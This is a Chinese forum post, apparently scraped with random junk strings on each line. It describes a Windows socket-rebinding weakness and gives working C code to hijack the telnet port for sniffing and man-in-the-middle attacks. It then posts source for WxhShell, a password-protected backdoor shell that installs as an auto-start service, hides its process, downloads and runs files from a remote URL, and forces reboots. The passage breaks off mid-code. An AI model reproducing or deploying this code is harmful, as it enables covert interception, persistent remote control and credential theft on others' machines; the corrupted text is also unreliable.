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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gP/]05$e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0>Mm |x*5  
>kC@7h5)  
  saddr.sin_family = AF_INET; eWwSD#N#  
kdxs{b"t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >#!n"i;  
DKK200j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H D=WHT&  
JG/sKOlA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1-w1k ^e  
Dm 'Q&  
  这意味着什么?意味着可以进行如下的攻击: 50_%Tl[  
/&kZ)XOi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (6 0,0|s  
?_HTOOa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !o*oT}6n  
j:<E=[Kl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i]Kq  
%#7M~RB[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1ed#nB %  
j1/J9F'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F!fxA#  
-MB ,]m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b?w4Nx#  
.>}we ~O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >{m>&u;Cc  
0Fbq/63  
  #include /eIwv 31  
  #include l l&iMj]  
  #include WU=Os8gR  
  #include    h!d#=.R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ e`b^_  
  int main() 0CTI=<;  
  { DCw ldkdJN  
  WORD wVersionRequested; VJ;'$SYx  
  DWORD ret; u=ENf1{ $>  
  WSADATA wsaData; .Ta$@sPh}  
  BOOL val; .' X$SF`  
  SOCKADDR_IN saddr; Ui?t@.  
  SOCKADDR_IN scaddr; D.?KgOZ  
  int err; oxGOn('  
  SOCKET s; P6IhpB59  
  SOCKET sc; YdeSJ(:  
  int caddsize; dX+DE(y  
  HANDLE mt; WBC'~h<@  
  DWORD tid;   yP-.8[;  
  wVersionRequested = MAKEWORD( 2, 2 ); $]Fe9E?   
  err = WSAStartup( wVersionRequested, &wsaData ); Dhef|E<  
  if ( err != 0 ) { #}k^g:l1  
  printf("error!WSAStartup failed!\n"); _Z8zD[l  
  return -1; N|7._AR2  
  } }]g>PY  
  saddr.sin_family = AF_INET; t5 5k#`Z  
   E"u>&uPH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c-s ~q/  
->93.sge  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *d,SI[c%e  
  saddr.sin_port = htons(23); A1YIPrav(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E; RI.6y  
  { +j`*?pPD(.  
  printf("error!socket failed!\n"); p=Vm{i7  
  return -1; eRv3ZHH  
  } ^-=,q.[7  
  val = TRUE; RQe#X6'h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Rjh/M`|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t%8*$"~X  
  { N'[^n,\(:  
  printf("error!setsockopt failed!\n"); =&}dP%3LC)  
  return -1; "I+wU`AIek  
  } ,&l>^w/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1lMU('r%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?]sj!7   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e%UFY-2  
kA#>Xu/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a&y%|Gs^f  
  { @$~%C) %u  
  ret=GetLastError(); jfgAI7;b  
  printf("error!bind failed!\n"); 4'X^YBm  
  return -1; fmloh1{4  
  } }|A%2!Q}  
  listen(s,2); _jnH!Mw  
  while(1) *!.'1J:YJ(  
  { x:?1fvVR  
  caddsize = sizeof(scaddr); L {\B9b2  
  //接受连接请求 $=H\#e)]Ug  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N^`F_R1Z  
  if(sc!=INVALID_SOCKET) {){i ONd  
  { 8[zP2L!-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m3,]j\  
  if(mt==NULL) A:;KU  
  { &|gn%<^  
  printf("Thread Creat Failed!\n"); $Cf_RFH0  
  break; uWMAXGL  
  } 3YRhqp"E  
  } gv<9XYByt  
  CloseHandle(mt); 4}?Yp e-  
  } hEEbH@b  
  closesocket(s); * =r,V  
  WSACleanup(); .s, hl(w,  
  return 0; #<!oA1MH4  
  }   r%TgZ5~u  
  DWORD WINAPI ClientThread(LPVOID lpParam) <\yM{ V\  
  { bh_i*DJ]  
  SOCKET ss = (SOCKET)lpParam; e `_ [+y  
  SOCKET sc; r$.ek\D5  
  unsigned char buf[4096]; i<&2Ffvq  
  SOCKADDR_IN saddr; v( (fRX.`  
  long num; *4+;E y  
  DWORD val;  !@bN  
  DWORD ret; YFsEuaV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @^%zh   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6'?Y]K  
  saddr.sin_family = AF_INET; (5'qEi ea  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4d6F4G4U  
  saddr.sin_port = htons(23); = u73AM}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pk*EnA)  
  { 5z#>>|1>#  
  printf("error!socket failed!\n"); l} h<2  
  return -1; YMJjO0  
  } 9Y*6AaKE6  
  val = 100; pspV~9,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^V>sNR  
  { 6)DYQ^4y  
  ret = GetLastError(); c< \:lhl  
  return -1; I_eYTy-a`1  
  } A!@D }n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P3@[x  
  { kGX`y.-[  
  ret = GetLastError(); )LH nDx  
  return -1; 3!ulBiMh  
  } HiVF<tN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) | \Qr cf  
  { n_?<q{GW  
  printf("error!socket connect failed!\n"); Po=)jkW  
  closesocket(sc); 0y|}}92:  
  closesocket(ss); uKtrG,/ p  
  return -1; 875V{fvPBU  
  } qTiX;e\W  
  while(1) f@>27&'WV  
  { 8[}MXMRdb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4JP01lq'\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D<Ads  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^9"|tWf6O  
  num = recv(ss,buf,4096,0); o-7>^wV%BD  
  if(num>0) l=bB,7gL  
  send(sc,buf,num,0); J;'?(xO3\  
  else if(num==0) DA[-( s  
  break; -zMXc"'C^k  
  num = recv(sc,buf,4096,0); 1 !OQxY}f  
  if(num>0) nQg6 j Zf  
  send(ss,buf,num,0); %,>> <8  
  else if(num==0) #p*OLQ3~  
  break; hIPDJ1a  
  } j'CRm5O  
  closesocket(ss); 'J]V"Z)  
  closesocket(sc); >l 'QX(  
  return 0 ; R}Z"Y xx  
  } g24)GjDi  
~])\xC  
pD.7ib^  
========================================================== PX(Gx%s|  
{"'W!WT b  
下边附上一个代码,,WXhSHELL B 2&fvv?  
\asF~P  
========================================================== S 8h/AW6l  
WihOGdUS6  
#include "stdafx.h" U*v//@WbH  
xdp{y =,[  
#include <stdio.h> w.J2pvyB  
#include <string.h> c?b?x 6 2  
#include <windows.h> 3(6i6 vV  
#include <winsock2.h> [0F+t,`  
#include <winsvc.h> N$?mula  
#include <urlmon.h> 7P:0XML}  
. |KxQn}  
#pragma comment (lib, "Ws2_32.lib") -twIF49  
#pragma comment (lib, "urlmon.lib") 8R8J./i.K  
5GT,:0  
#define MAX_USER   100 // 最大客户端连接数 ZK3?"|vhC  
#define BUF_SOCK   200 // sock buffer #.a4}ya19  
#define KEY_BUFF   255 // 输入 buffer =4+UX*&i?.  
kw|bEL9!u  
#define REBOOT     0   // 重启 <hQ@]2w$  
#define SHUTDOWN   1   // 关机 5K{(V^88F  
(/Z~0hA[Q  
#define DEF_PORT   5000 // 监听端口 g8!!:fdu  
QBY7ZT05Gt  
#define REG_LEN     16   // 注册表键长度 yBht4"\Al  
#define SVC_LEN     80   // NT服务名长度 B>#zrCD  
>x&$lT{OY  
// 从dll定义API `Z]a6@w~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /]<0`nI.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LDr!d1A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D@5&xd_@4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LQNu]2  
m7^a4  
// wxhshell配置信息 % NX  
struct WSCFG { #qm<4]9 1  
  int ws_port;         // 监听端口 [$9sr=3:  
  char ws_passstr[REG_LEN]; // 口令 m-> chOu~|  
  int ws_autoins;       // 安装标记, 1=yes 0=no :h*20iP  
  char ws_regname[REG_LEN]; // 注册表键名 E9%xSMS8@  
  char ws_svcname[REG_LEN]; // 服务名 {Am\%v\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6i%LM`8GEk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a%Cq?HZ7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 / D#vs9S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 241YJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SU2 (XP]5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (al7/EhY  
fZxZ):7i  
}; Nki18ud#  
iN+p>3w^l  
// default Wxhshell configuration mcS/-DaN?  
struct WSCFG wscfg={DEF_PORT, }+i ZY\t  
    "xuhuanlingzhe", SX/yY  
    1, =?vk n  
    "Wxhshell", f1hi\p0q  
    "Wxhshell", VH,k EbJ  
            "WxhShell Service", (. 1<.PZp)  
    "Wrsky Windows CmdShell Service", "p2 $R*ie  
    "Please Input Your Password: ", v#YO3nD  
  1, +*!oZKm.  
  "http://www.wrsky.com/wxhshell.exe", (3c,;koRR  
  "Wxhshell.exe" 52wq<[#tK  
    }; dSk\J[D  
r"Pj ,}$A  
// 消息定义模块 :]=Y1*L\)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _6^vxlF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qJ#?=ITE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |C7GI[P  
char *msg_ws_ext="\n\rExit."; X\X  
char *msg_ws_end="\n\rQuit."; =n9adq  
char *msg_ws_boot="\n\rReboot..."; 5j{o0&=_$  
char *msg_ws_poff="\n\rShutdown..."; {B?%r[nW  
char *msg_ws_down="\n\rSave to "; 0 6 K8|K  
4#;rv$ {  
char *msg_ws_err="\n\rErr!"; T!(I\wz;Bo  
char *msg_ws_ok="\n\rOK!"; vlp]!7v  
PIB|&I|p  
char ExeFile[MAX_PATH]; N;Hrc6nin^  
int nUser = 0; @ g~kp  
HANDLE handles[MAX_USER]; v?fB:[dG  
int OsIsNt; Y@M=6G  
REQ2pfk0  
SERVICE_STATUS       serviceStatus; Ml+.\'r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .y+>-[j?B  
MvL%*("4b  
// 函数声明 Q:>;d-D|1  
int Install(void); zP rT0  
int Uninstall(void); JWlH(-U4|  
int DownloadFile(char *sURL, SOCKET wsh); Ud`V"X  
int Boot(int flag); UFouIS#L  
void HideProc(void); ?n\~&n'C  
int GetOsVer(void); @<W"$_ r-  
int Wxhshell(SOCKET wsl); V1xpJ  
void TalkWithClient(void *cs); \ $X3n\  
int CmdShell(SOCKET sock); q6\z]8)  
int StartFromService(void); '[`.&-;  
int StartWxhshell(LPSTR lpCmdLine); Ny\iRU)fN  
 ItC*[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H Y.,f_m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <4C`^p  
JNuo+Pq  
// 数据结构和表定义 f ,K1a9.  
SERVICE_TABLE_ENTRY DispatchTable[] = 7&'^H8V  
{ @hQ+pG@s  
{wscfg.ws_svcname, NTServiceMain}, W(~G^Xu  
{NULL, NULL} tojJQ6;J  
}; L.l"'=M  
V<:kS  
// 自我安装 Vu^J'>X  
int Install(void) jEit^5^5|  
{ \eI )(,A  
  char svExeFile[MAX_PATH]; f*2V  
  HKEY key; zu*0uL  
  strcpy(svExeFile,ExeFile); AG/nX?u7)t  
Fl(+c0|kT  
// 如果是win9x系统,修改注册表设为自启动 W\N-~9UA  
if(!OsIsNt) { X~]eQaJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rS>njG;R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 84e)huAs  
  RegCloseKey(key); u;h9Ra1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = Ky1v$<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #9#N+  
  RegCloseKey(key); PrDvRWM  
  return 0; N#Qby4w >  
    } , $78\B^  
  } YAC=V?U-#  
} xO"5bj  
else { VqVP5nT'=  
h9>~?1$lz  
// 如果是NT以上系统,安装为系统服务 }\*dD2qNL}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); czdNqk.kh  
if (schSCManager!=0) (aiE!c  
{ 42U3>  
  SC_HANDLE schService = CreateService \1aj!)  
  ( VskyRxfdW3  
  schSCManager, pc^(@eD  
  wscfg.ws_svcname, Rj^bZ%t  
  wscfg.ws_svcdisp, 75Jh(hd(  
  SERVICE_ALL_ACCESS, rM=Q.By+\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |+x;18  
  SERVICE_AUTO_START, 9i,QCA  
  SERVICE_ERROR_NORMAL, !@ai=p  
  svExeFile, 4LUFG  
  NULL, |+cyb<(V J  
  NULL, < ynm A  
  NULL, /D 2v 1  
  NULL, "MZVwl"E#  
  NULL ToDNBt.u{+  
  ); Z&JW}''n|F  
  if (schService!=0) x4.-7%VV%  
  { nDui9C  
  CloseServiceHandle(schService); /_ o1b_1 U  
  CloseServiceHandle(schSCManager); z/6kxV89  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \8{C$"F  
  strcat(svExeFile,wscfg.ws_svcname); <`H:Am`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9t7_7{Q+;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !<((@*zU  
  RegCloseKey(key); mBQ6qmK   
  return 0; {B\ar+9>  
    } )q&uvfQ1(  
  } 4q~+K' Z  
  CloseServiceHandle(schSCManager); _9\ ayR>d  
} QOy+T6en  
} DH)@8)C  
l'B`f)  
return 1; QmT]~4PqS  
} NrNbNFfo  
%$!}MxUM  
// 自我卸载 ?G0=\U< o,  
int Uninstall(void) N}>`Xm 5'  
{ /G G QO$'  
  HKEY key; f o4j^,`  
VAsaJ`vcb  
if(!OsIsNt) { > 9i@W@M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m)=  -sD  
  RegDeleteValue(key,wscfg.ws_regname); %CD}A%~  
  RegCloseKey(key); i^Ep[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v)okVyv  
  RegDeleteValue(key,wscfg.ws_regname); vT\`0di~  
  RegCloseKey(key); ;w}ZI<ou  
  return 0; f{^C+t{r  
  } 42ttmN1F  
} Mf/zSQk+  
} 0&2TeqsLh)  
else { MFiX8zwhx+  
`<b 3e(A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q`"gT;3S  
if (schSCManager!=0) Ol{)U;, `  
{ + [|2k(U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pWwaN4  
  if (schService!=0) ) i.p[  
  { &AZr (>  
  if(DeleteService(schService)!=0) { <,HdX,5  
  CloseServiceHandle(schService); Ia0.I " ,  
  CloseServiceHandle(schSCManager); FTtYzKX(bv  
  return 0; iW.8+?Xq&  
  } #N[nvIi}  
  CloseServiceHandle(schService); ZK{VQ~  
  } ;W'y^jp]"  
  CloseServiceHandle(schSCManager); B~jl1g|  
} E`u=$~K  
} ,DXNq`24  
&>*f J  
return 1; wu/]M~XwI  
} |9~{&<^X  
F1w~f <  
// 从指定url下载文件 jiC;*]n  
int DownloadFile(char *sURL, SOCKET wsh) daGGgSbh  
{ D(@#Gd\Z@  
  HRESULT hr; &r/a\t,8n  
char seps[]= "/"; a^,6[  
char *token; Beiz*2-}a  
char *file; xzz[!yJjG  
char myURL[MAX_PATH]; azS"*#r6}  
char myFILE[MAX_PATH]; 0p*(<8D}  
dfO@Yo-?*'  
strcpy(myURL,sURL); Gv?'R0s  
  token=strtok(myURL,seps); "  F~uTo  
  while(token!=NULL) C.}Z5BwS  
  { #'v7mEwt  
    file=token; q,PB; TT  
  token=strtok(NULL,seps); ?U cW@B{  
  } a%Q.8  
FxTOc@<  
GetCurrentDirectory(MAX_PATH,myFILE); 0 #VH=pga  
strcat(myFILE, "\\"); YB*ZYpRVl  
strcat(myFILE, file); 9bNjC&:4/]  
  send(wsh,myFILE,strlen(myFILE),0); ~+q$TV  
send(wsh,"...",3,0); CLdLO u"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2%rAf8=  
  if(hr==S_OK) O5{ >k  
return 0; IT'~.!o7/  
else bJx{mq  
return 1; Nye Ga  
%h4pIA  
} _^0yE_ili  
5owUQg,W  
// 系统电源模块 Q/1 6D  
int Boot(int flag) M$FQoRwH  
{ ,fT5I6l  
  HANDLE hToken; u/h Ff3  
  TOKEN_PRIVILEGES tkp; &b iBm  
lJ62[2=V  
  if(OsIsNt) { '2WYbcU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `N_NzH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o/CSIvz1  
    tkp.PrivilegeCount = 1; ;Tvy)*{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oi::/W|A+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p6A"_b^  
if(flag==REBOOT) { ]O,!B''8k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y4/>3tz;  
  return 0; 5Q?7 xTQ  
} )^|zuYzN  
else { ]mn(lK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0"ZB|^c=  
  return 0; kgEGL]G>  
} G!ty@ Fx  
  } ",B92[}Ar  
  else { Hd U1gV>  
if(flag==REBOOT) { DCACj-f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `2o/W]SSk  
  return 0; c}U&!R2p{  
} Y 'Yoc  
else { Ki,]*-XO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Aq^1(-g  
  return 0; c#<v:b  
} ([qw#!;w;  
} QNLkj`PL/  
vh"zYl`  
return 1; >Yl?i&3n  
} '%. lY9D  
b* no.eB  
// win9x进程隐藏模块 gLaFIeF<+  
void HideProc(void) l-Xxur5M'  
{ `jSxq66L p  
`9(TqcE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B+ud-M0  
  if ( hKernel != NULL ) $-|`#|CBd  
  { VuN= JX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yxf|Njo0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OHdC t  
    FreeLibrary(hKernel); J)6RXt*!  
  } 5%rD7/7N  
aW$sd)  
return; a<kx95  
} .8<bz4  
HC@E&t  
// 获取操作系统版本 b%2+g<UKh  
int GetOsVer(void) i5T&1W i  
{ u%Bk"noCa  
  OSVERSIONINFO winfo; *T$`5|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +?),BRCce  
  GetVersionEx(&winfo); 21O!CvX   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? DWF7{1  
  return 1; ;[R{oW Nw  
  else k#_B^J&d  
  return 0; f\nF2rlu  
} |bk.gh  
9KN75<n  
// 客户端句柄模块 AMp[f%X  
int Wxhshell(SOCKET wsl) v/ dSz/<]  
{ :rnn`/L  
  SOCKET wsh; ryy".'v  
  struct sockaddr_in client; zF[kb%o  
  DWORD myID; > )YaWcI  
*)gbKXb  
  while(nUser<MAX_USER) E?l_ *[G  
{ xL3-(K6e  
  int nSize=sizeof(client); ycg5S rg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ow,I|A  
  if(wsh==INVALID_SOCKET) return 1; h2# G  
\{ r%.G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #eD@s En  
if(handles[nUser]==0) `f,SY  
  closesocket(wsh); Ob$| IH8.  
else ftw\oGrS  
  nUser++; hF"yxucj$  
  } 8_US.52V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dE=4tqv-r  
]R~K-cN`  
  return 0; _w/w~;7  
} v}XMFC !  
nsQx\Tnhx  
// 关闭 socket ~5<-&Dyp7  
void CloseIt(SOCKET wsh) I,OEor6%R(  
{ S c_#BD.  
closesocket(wsh); L=nyloz,0  
nUser--; LE%3.. !  
ExitThread(0); 4:GVZR|-  
} M<hX !B  
8@^=k.5IK  
// 客户端请求句柄 5(R ./  
void TalkWithClient(void *cs) '!>LF1W=  
{ 2fM*6CaS  
GLrHb3@"N  
  SOCKET wsh=(SOCKET)cs; bx`s;r=  
  char pwd[SVC_LEN]; tn&~~G~#  
  char cmd[KEY_BUFF]; 8x#SpDI  
char chr[1]; 6,"86  
int i,j; :QT0[P5O  
H,bYzWsrPo  
  while (nUser < MAX_USER) { } QVREj  
G9J+D?'hH  
if(wscfg.ws_passstr) { |B yw]\3v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RwJ#G7S#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dr#g[}l'H  
  //ZeroMemory(pwd,KEY_BUFF); ?s/]k#H  
      i=0; ~UA:_7#\M  
  while(i<SVC_LEN) { ;WxE0Q:!~  
x8 YuX*/I  
  // 设置超时 'o;>6u<u  
  fd_set FdRead; V+myGsr`  
  struct timeval TimeOut; ejP273*ah  
  FD_ZERO(&FdRead); f-6-!  
  FD_SET(wsh,&FdRead); mcvd/  
  TimeOut.tv_sec=8; 7~n<%q/6  
  TimeOut.tv_usec=0; VX0q!Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^EY^.?Mg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q ^NI  
SC/|o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=S51q_0  
  pwd=chr[0]; :!H]gC 4  
  if(chr[0]==0xd || chr[0]==0xa) { 3m:[o`L  
  pwd=0; }{/3yXk[G  
  break; YBb%D  
  } @k~'b  
  i++; {+r0Nikx_  
    } ?hu}wl)  
s @\UZ C  
  // 如果是非法用户,关闭 socket 0h^&`H:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '}3@D$YiM%  
} 's#"~<L^e  
y^pzqv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7@iyO7U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &!7{2E\7C  
Plpt7Pa_  
while(1) { ig|o l*~  
M{M>$pt   
  ZeroMemory(cmd,KEY_BUFF); !@j5yYf  
w$%d"Jm#X  
      // 自动支持客户端 telnet标准   &cy @Be}|T  
  j=0; 0RmQfD>  
  while(j<KEY_BUFF) { Ch;C\H:X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Ac5K!  
  cmd[j]=chr[0]; KtH-QQDluj  
  if(chr[0]==0xa || chr[0]==0xd) { n HiE$Y  
  cmd[j]=0; $}kT )+K  
  break; Z#w@ /!"}T  
  } :Z rE/3_S  
  j++; h2M>4c  
    } zq\YZ:JC  
*UM=EQaYk  
  // 下载文件 +*/XfPlr|  
  if(strstr(cmd,"http://")) { B+W 4r9#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cVCylR U"  
  if(DownloadFile(cmd,wsh)) ON"F h'?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:s" ^YLN  
  else ^0" W/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M;s r1C  
  } 6XU1w  
  else { 8JYF0r7  
\Eqxmo  
    switch(cmd[0]) { %C}TdG(C  
  b|_Pt  
  // 帮助 N0`v;4gF$]  
  case '?': { Z1u:OI@(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h,QC#Ak o  
    break;  0Bbno9Yp  
  } 6%N.'wf  
  // 安装 Lckb*/jV&  
  case 'i': { <*O~?=6p  
    if(Install()) QAs$fi}f]s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wCT. (d_  
    else /*,hR>UG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `rt?n|*QF  
    break; G .PzpBA  
    } 9em?2'ysa  
  // 卸载 y"5>O|`  
  case 'r': { \jlem<&  
    if(Uninstall()) !8'mIXZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }@VdtH  
    else eRV4XB:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cPQUR^!5  
    break; 0A$x'pU)  
    } k.UQT^.  
  // 显示 wxhshell 所在路径 oUXi 4lsSc  
  case 'p': { ZY N HVR  
    char svExeFile[MAX_PATH]; p%MH**A  
    strcpy(svExeFile,"\n\r"); /"$A?}V  
      strcat(svExeFile,ExeFile); u/W  
        send(wsh,svExeFile,strlen(svExeFile),0); PDwi])6mf  
    break; E RnuM  
    } %OS}BAh^i  
  // 重启 9RzTC  
  case 'b': { 7-p9IFcA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HP`dfo~j  
    if(Boot(REBOOT)) qHM,#W<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =}SH*xi6  
    else { qyA%_;ReMY  
    closesocket(wsh); UvR F\x%  
    ExitThread(0); 6Ja } N  
    } {[Bo"a>%  
    break; s+9q`k^  
    } V(/ @$&  
  // 关机 8Jnl!4  
  case 'd': { /3( a'o[  
